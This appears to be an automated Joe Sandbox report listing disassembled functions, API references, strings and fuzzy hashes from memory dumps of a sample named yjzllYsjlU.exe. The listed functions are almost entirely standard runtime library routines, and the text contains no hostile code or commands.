Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: XgE$XgE
API String ID: 597776487-1765908331
Opcode ID: 1b696d6c4c17f14bd2cd532e520e2bf73148f9a8717794c16fbf28e545bba7b4
Instruction ID: 711db5bb242ea00d46f0d8f357ac5cdbfb32cc55bf6326f590d519c5e58ffbab
Opcode Fuzzy Hash: 1b696d6c4c17f14bd2cd532e520e2bf73148f9a8717794c16fbf28e545bba7b4
Instruction Fuzzy Hash: 84C12779A84255AFDB25AF78CC50BEE7BFAAF65314F3400ADDC9097290E7708A41CB50

Function 02185E77 Relevance: 12.4, APIs: 8, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c1a298e8fecfe48cef90fb9b18945fd86a062cf10d1e3a8c03b853429e7ba7
Instruction ID: b6c963ef504d0b92181aee1796deacc62c0cd07897d9197554932035a5c69692
Opcode Fuzzy Hash: d2c1a298e8fecfe48cef90fb9b18945fd86a062cf10d1e3a8c03b853429e7ba7
Instruction Fuzzy Hash: BBF1E17094025CAFEB24DF64CC84BDEBBBAEF44304F5042A9E519A72C1DB749A84CF95

Function 00434840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00434877
___except_validate_context_record.LIBVCRUNTIME ref: 0043487F
_ValidateLocalCookies.LIBCMT ref: 00434908
__IsNonwritableInCurrentImage.LIBCMT ref: 00434933
_ValidateLocalCookies.LIBCMT ref: 00434988

Strings

S9C, xrefs: 00434925, 0043492E, 0043493F
csm, xrefs: 0043491D

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9C$csm
API String ID: 1170836740-582408667
Opcode ID: a4331c987b1b53513cbe21c672c92ef55e4810aa54a37fe5f5d469cf9e84ef45
Instruction ID: 6575625a84691e9b1f9b7e8611f910fc559112cced3487189da3a48804891882
Opcode Fuzzy Hash: a4331c987b1b53513cbe21c672c92ef55e4810aa54a37fe5f5d469cf9e84ef45
Instruction Fuzzy Hash: 7141E874A00208ABCF10DF69C844ADF7BB4BF89318F14815BE8149B392D779EA11CF99

Function 0043B17D Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0043B1E8
G"@, xrefs: 0043B217, 0043B20D
api-ms-, xrefs: 0043B1D4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: G"@$api-ms-$ext-ms-
API String ID: 0-3963426706
Opcode ID: b882474e2421becce6f7ac3255c006c5444dc2a1b8804bcc2ed4a91c923f1653
Instruction ID: bce6c0f499f03009e687f81e13829494c96e42a1ade786342b8d5ba6f6eadec1
Opcode Fuzzy Hash: b882474e2421becce6f7ac3255c006c5444dc2a1b8804bcc2ed4a91c923f1653
Instruction Fuzzy Hash: 82210875A41714ABCB214B65AC4CB2F3758DB097A0F2027A3FE55A7391D738ED0086ED

Function 0041EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0041EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0041EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0041EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0041EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0041EF31

Strings

iA, xrefs: 0041EED0

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: iA
API String ID: 1182035702-1118743441
Opcode ID: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction ID: dbfce4fa691d0a98bc3aa8749e6742a9d80362ff2df78e67c0c5db40cb0b6eee
Opcode Fuzzy Hash: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction Fuzzy Hash: 1321F374C002099ADF24DFA6C4456EEB7F0FF14324F10052FE851A22C1E7B84AC6CB48

Function 0043EA8E Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0043EAB8
_free.LIBCMT ref: 0043EB91
_free.LIBCMT ref: 0043EBBE

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 7e13cb0b5705e9cade751d436b5392716494f0a3c8e39469c6473571ee0f5945
Instruction ID: f99befb810c5c4866eaf564f7dd7d7d58b29b2c8e151ae40169767ee9d3e76c4
Opcode Fuzzy Hash: 7e13cb0b5705e9cade751d436b5392716494f0a3c8e39469c6473571ee0f5945
Instruction Fuzzy Hash: CC513670D05306AFDB24AFBB9841A6E7BA4DF0D314F00616FE510972C1EA7D9940CB4D

Function 021BECF5 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 021BED1F
_free.LIBCMT ref: 021BEDF8
_free.LIBCMT ref: 021BEE25

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: b36ae6f94d372ff64b4da89c0af13a455d4f54d85b457d19ac11513aadbc6f32
Instruction ID: 138becd5714bc367fd7fd1f3796232093134425ba3ce5231034f38352e3834bc
Opcode Fuzzy Hash: b36ae6f94d372ff64b4da89c0af13a455d4f54d85b457d19ac11513aadbc6f32
Instruction Fuzzy Hash: 345144B1988305AFDF27AFB49888AED7BB5AF06314F54416EE924972C0EB71C500CF56

Function 00436FB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00436EE6), ref: 00436FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00437030
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00436EE6,?,000000FF,00000000,00000000), ref: 004370BE
__dosmaperr.LIBCMT ref: 004370C5
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00437102

Part of subcall function 0043732A: __dosmaperr.LIBCMT ref: 0043735F

Strings

nC, xrefs: 00436FCE

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID: nC
API String ID: 1206951868-4036674207
Opcode ID: 19e1070b04fb49a2dd5738f37f72da11fb3a5a43ccc6689087d144dd6161f976
Instruction ID: 47e44e870bed0e4f5047e2c803f8af1af40435cbdbdaacedd5eb414e92fa1372
Opcode Fuzzy Hash: 19e1070b04fb49a2dd5738f37f72da11fb3a5a43ccc6689087d144dd6161f976
Instruction Fuzzy Hash: 25415EB6904604ABCF389FB6DC459ABBBF9EF48300F10542EF996D3211E638D940CB25

Function 00431B29 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00431B42

Part of subcall function 00431E11: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,0043188A), ref: 00431E21

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00431B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00431B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00431C2A

Strings

switchState, xrefs: 00431B5E
pContext, xrefs: 00431C22

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: pContext$switchState
API String ID: 1312548968-2660820399
Opcode ID: 84332b62cc3de3cfa4170185330e29230a9dc1dcd046b531a1b7116e20220df0
Instruction ID: b863e61c3d732dd5109429b6f29941dee9b5abb7f1e972ae7809c7e47913e2a3
Opcode Fuzzy Hash: 84332b62cc3de3cfa4170185330e29230a9dc1dcd046b531a1b7116e20220df0
Instruction Fuzzy Hash: 8331D835A00204ABCF05EF64C881AAEB775FF4C314F20556BED1197362EB79EE05CA98

Function 0042E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0042E7D7

Part of subcall function 0042E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0042E577
Part of subcall function 0042E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0042E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0042E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0042E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0042E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0042E879
Concurrency::location::_Assign.LIBCMT ref: 0042E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0042E8B5

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 68357d3375aa4ffdda60a85fea681dfadbeefaeb1374d27128ca733c89973d16
Instruction ID: 01245f0547eb729828e98329900f8f6e173d559f1909e94d2917f6101dcd408e
Opcode Fuzzy Hash: 68357d3375aa4ffdda60a85fea681dfadbeefaeb1374d27128ca733c89973d16
Instruction Fuzzy Hash: 19415A39A00214EFCF00EF65D484AADB7B5FF48314F5480AAED499B382DB34A941CB95

Function 021AEA16 Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 021AEA3E

Part of subcall function 021AE7AB: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 021AE7DE
Part of subcall function 021AE7AB: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 021AE800

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021AEABB
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 021AEAC7
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 021AEAD6
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 021AEAE0
Concurrency::location::_Assign.LIBCMT ref: 021AEB14
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 021AEB1C

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 68357d3375aa4ffdda60a85fea681dfadbeefaeb1374d27128ca733c89973d16
Instruction ID: 11da7d63e99ac8f4202152eebef88483690e3557810c5674036a944b558fd80f
Opcode Fuzzy Hash: 68357d3375aa4ffdda60a85fea681dfadbeefaeb1374d27128ca733c89973d16
Instruction Fuzzy Hash: B4413A79A40214DFCF05EFA4C494BADB7B6FF48314F1485A9DD4A9B281DB30AA42CF91

Function 0043DFE3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\yjzllYsjlU.exe, xrefs: 0043DFE8
6C, xrefs: 0043E034

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: 6C$C:\Users\user\Desktop\yjzllYsjlU.exe
API String ID: 0-2072070402
Opcode ID: dd2dd9f4d129958e1b06d5edd0e164f71e48155ec8fa6cde618221c2102e1a72
Instruction ID: fd95ef61c06ac132fca33f58cee54c31b72be5874fd36115616c9f4bad4a65b4
Opcode Fuzzy Hash: dd2dd9f4d129958e1b06d5edd0e164f71e48155ec8fa6cde618221c2102e1a72
Instruction Fuzzy Hash: 8521C171605219BFDB34AF669C80E2B77BCEF08368F10551AF52892292E769EC009769

Function 0219F0C6 Relevance: 10.6, APIs: 7, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0219F0CD
_SpinWait.LIBCONCRT ref: 0219F123
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0219F12F
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0219F148
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0219F176
Concurrency::Context::Block.LIBCONCRT ref: 0219F198

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::H_prolog3ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1888882079-0
Opcode ID: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction ID: 75d1ef6f29e616013cae5a1197b8f4168ff4a4c1dd678472574c9a9eebf1f5ac
Opcode Fuzzy Hash: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction Fuzzy Hash: 0E219070880219AEDF28EFA4D8457EEB7F1AF05324F50062AD065E6590EB718686CFD1

Function 0043F0DB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043F0A3: _free.LIBCMT ref: 0043F0C8

_free.LIBCMT ref: 0043F129

Part of subcall function 0043ADF5: HeapFree.KERNEL32(00000000,00000000,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?), ref: 0043AE0B
Part of subcall function 0043ADF5: GetLastError.KERNEL32(?,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?,?), ref: 0043AE1D

_free.LIBCMT ref: 0043F134
_free.LIBCMT ref: 0043F13F
_free.LIBCMT ref: 0043F193
_free.LIBCMT ref: 0043F19E
_free.LIBCMT ref: 0043F1A9
_free.LIBCMT ref: 0043F1B4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction ID: c3a7340a8ef7a1c42761e22c66233c02557cf0a4384e4ec730fa78aa122713dc
Opcode Fuzzy Hash: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction Fuzzy Hash: BC118131940B04AAD930B7B2CC07FCB77EE9F08719F40183EB699A6053DA2EB5594656

Function 021BF342 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 021BF30A: _free.LIBCMT ref: 021BF32F

_free.LIBCMT ref: 021BF390

Part of subcall function 021BB05C: HeapFree.KERNEL32(00000000,00000000,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?), ref: 021BB072
Part of subcall function 021BB05C: GetLastError.KERNEL32(?,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?,?), ref: 021BB084

_free.LIBCMT ref: 021BF39B
_free.LIBCMT ref: 021BF3A6
_free.LIBCMT ref: 021BF3FA
_free.LIBCMT ref: 021BF405
_free.LIBCMT ref: 021BF410
_free.LIBCMT ref: 021BF41B

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction ID: cfc241c0e5f76d2862389ea4bd47f37c1f8fa23508d597a692294fb0f2148925
Opcode Fuzzy Hash: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction Fuzzy Hash: 5C110072584704EEDA32B770DC45FDBBBBE7F08700F404816F699A68A1D769B505CB90

Function 0219FCD8 Relevance: 10.6, APIs: 7, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(004512B4,?,00000000,00000000,?,?,?,021A3E4D), ref: 0219FCE6
GetProcAddress.KERNEL32(00000000,0045177C), ref: 0219FCF4
GetProcAddress.KERNEL32(00000000,00451794), ref: 0219FD02
GetProcAddress.KERNEL32(00000000,004517AC), ref: 0219FD30
GetLastError.KERNEL32(?,?,?,021A3E4D), ref: 0219FD4B
GetLastError.KERNEL32(?,?,?,021A3E4D), ref: 0219FD57
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0219FD6D

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID:
API String ID: 1654681794-0
Opcode ID: 7fe6c5ece6de4c50eb3fb3b842b885c674e1d20cdf18a0be90147e923e9c19f3
Instruction ID: 011a83c966c111a80b36efca6593d768b50aaaebd90b29582e52f5cba430a814
Opcode Fuzzy Hash: 7fe6c5ece6de4c50eb3fb3b842b885c674e1d20cdf18a0be90147e923e9c19f3
Instruction Fuzzy Hash: 8F019B3D6803117F97517BB96C89FEB37ECA904B52B240537F501D21A2EF79D4048B69

Function 00416E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

Part of subcall function 0041C6AC: mtx_do_lock.LIBCPMT ref: 0041C6B4

__Mtx_unlock.LIBCPMT ref: 00416ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00416F22
std::_Rethrow_future_exception.LIBCPMT ref: 00416F32
__Mtx_unlock.LIBCPMT ref: 00416FD5
__Mtx_unlock.LIBCPMT ref: 004170DB
__Mtx_unlock.LIBCPMT ref: 00417116

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$mtx_do_lock
String ID:
API String ID: 95294986-0
Opcode ID: 046fbe0f4980c1b9ef584b946209c84bf0753a82647ed566538800b283741cc2
Instruction ID: d5c402bd19617442db253326e825c470d249229bcec99b7fb150ec4f877a8494
Opcode Fuzzy Hash: 046fbe0f4980c1b9ef584b946209c84bf0753a82647ed566538800b283741cc2
Instruction Fuzzy Hash: D2C1E171904304ABDB20DFA5C945BEBBBF4AF04314F00456FE81697782EB79A984CB65

Function 02197067 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 02197138
std::_Rethrow_future_exception.LIBCPMT ref: 02197189
std::_Rethrow_future_exception.LIBCPMT ref: 02197199
__Mtx_unlock.LIBCPMT ref: 0219723C
__Mtx_unlock.LIBCPMT ref: 02197342
__Mtx_unlock.LIBCPMT ref: 0219737D

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 411bbcd3c98b8483f8dc7711dd14b2669908e861b9d7381f1d8c4d8a9dcadb8d
Instruction ID: 7939d9b4bb205572fd48212a7893bfe275011b0b2413f383f11b0640b49e39c4
Opcode Fuzzy Hash: 411bbcd3c98b8483f8dc7711dd14b2669908e861b9d7381f1d8c4d8a9dcadb8d
Instruction Fuzzy Hash: 92C1DFB19903089FDF21DFA4C944BAFFBF5AF05314F00452EE85697681EB35AA05CBA1

Function 0043FCC0 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,004087A0,00000000), ref: 0043FD08
__fassign.LIBCMT ref: 0043FEE7
__fassign.LIBCMT ref: 0043FF04
WriteFile.KERNEL32(?,004087A0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0043FF4C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0043FF8C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00440038

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: d91de68776c85008b4a445cc7eb9458582a7ab784aea8d95e54cc580eb993dda
Instruction ID: b1fa4e01d1e6861320541c535ea6890982759e22aeb82642623fb23c4c1d3398
Opcode Fuzzy Hash: d91de68776c85008b4a445cc7eb9458582a7ab784aea8d95e54cc580eb993dda
Instruction Fuzzy Hash: 2BD19D71D002589FDF15CFA8D980AEDBBB5BF49304F28016AE855FB342E634A946CB58

Function 021BFF27 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,02188A07,00000000), ref: 021BFF6F
__fassign.LIBCMT ref: 021C014E
__fassign.LIBCMT ref: 021C016B
WriteFile.KERNEL32(?,02188A07,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 021C01B3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 021C01F3
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 021C029F

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: aeaffaf03d6c38a690940c40d1bea6644629eb38ec1b3c0d319535d1d52f1a6c
Instruction ID: 7a76c36438b8e8541b6322cdb1efe73d95ba679071d6d2f4b7f41bbbc3fad3e1
Opcode Fuzzy Hash: aeaffaf03d6c38a690940c40d1bea6644629eb38ec1b3c0d319535d1d52f1a6c
Instruction Fuzzy Hash: 6BD19A79D00258DFCB15CFE8C880AEDBBB5EF59314F29016EE855BB242D731A946CB50

Function 0042E8DD Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0042E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0042E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0042E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0042E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0042E9DC
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0042E9E4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

